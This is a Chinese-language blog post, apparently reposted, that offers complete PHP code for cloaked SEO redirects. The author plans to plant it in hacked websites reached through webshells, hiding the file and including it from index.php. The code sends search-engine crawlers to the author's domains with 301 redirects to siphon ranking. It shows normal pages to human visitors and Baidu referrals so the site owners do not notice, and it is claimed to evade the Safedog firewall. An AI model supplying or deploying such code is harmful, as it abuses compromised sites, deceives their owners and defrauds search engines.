判斷百度蜘蛛偷偷進行轉移權重301,給新站提權


  放假了,在家沒事做新站,因為沒啥權重,打算抓幾個webshell站進行轉移新站,給新站提權重。所以寫了一個301轉移php代碼,可以判斷蜘蛛進行跳轉301,用戶訪問不會跳轉,這樣就可以防止被發現的概率!

   功能說明:

   1.判斷蜘蛛跳轉
   2.支持多個域名隨機跳轉
   3.判斷百度搜索進去不進行跳轉(防止被發現)
   4.正常瀏覽器訪問不跳轉
   5.過安全狗防護

使用方法:
   以下代碼新建為:useragent.func.php(可以放在隱蔽的地方)
   然后在你網站程序核心函數,例如:dedecms動態頁面可以在:index.php  進行引入自己新建的代碼為: require_once (dirname(__FILE__) . "/useragent.func.php");

<?php

error_reporting(E_ALL^E_NOTICE^E_WARNING);
$xieyi="http://";
function checkrobot($useragent=''){
		static $kw_spiders = array('bot', 'crawl', 'spider' ,'slurp', 'sohu-search', 'lycos', 'robozilla');
		static $kw_browsers = array('msie', 'netscape', 'opera', 'konqueror', 'mozilla');
 
		$useragent = strtolower(empty($useragent) ? $_SERVER['HTTP_USER_AGENT'] : $useragent);
		if(strpos($useragent, 'http://') === false && dstrpos($useragent, $kw_browsers)) return false;
		if(dstrpos($useragent, $kw_spiders)) return true;
		return false;
}
function dstrpos($string, $arr, $returnvalue = false) {
		if(empty($string)) return false;
		foreach((array)$arr as $v) {
				if(strpos($string, $v) !== false) {
						$return = $returnvalue ? $v : true;
						return $return;
				}
		}
		return false;
}
//網址隨機輸出,可以填寫多個隨機輸出轉移權重的網址
$url[0] = "http://demoo1.com";
$url[1] = "http://demoo2.com";
$url[2] = "http://demoo3.com";
$url[3] = "http://demoo4.com";
$url[4] = "http://demoo5.com";
$url[5] = "http://demoo5.com";
srand ((double)microtime()*1000000);
$randomnum = rand(0, count($url)-1);
if(checkrobot()){
	Header("Location:$url[$randomnum]"); 
				header('HTTP/1.1 301 Moved Permanently');
				header("Location:$url[$randomnum]");	
				exit;
}
//判斷的是百度,如果是百度點擊進去就不跳轉,防止被發現
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com"))
{         
			$file = file_get_contents( $xieyi.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);          
				echo $file;
				exit;
	exit;      
 }
?>

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM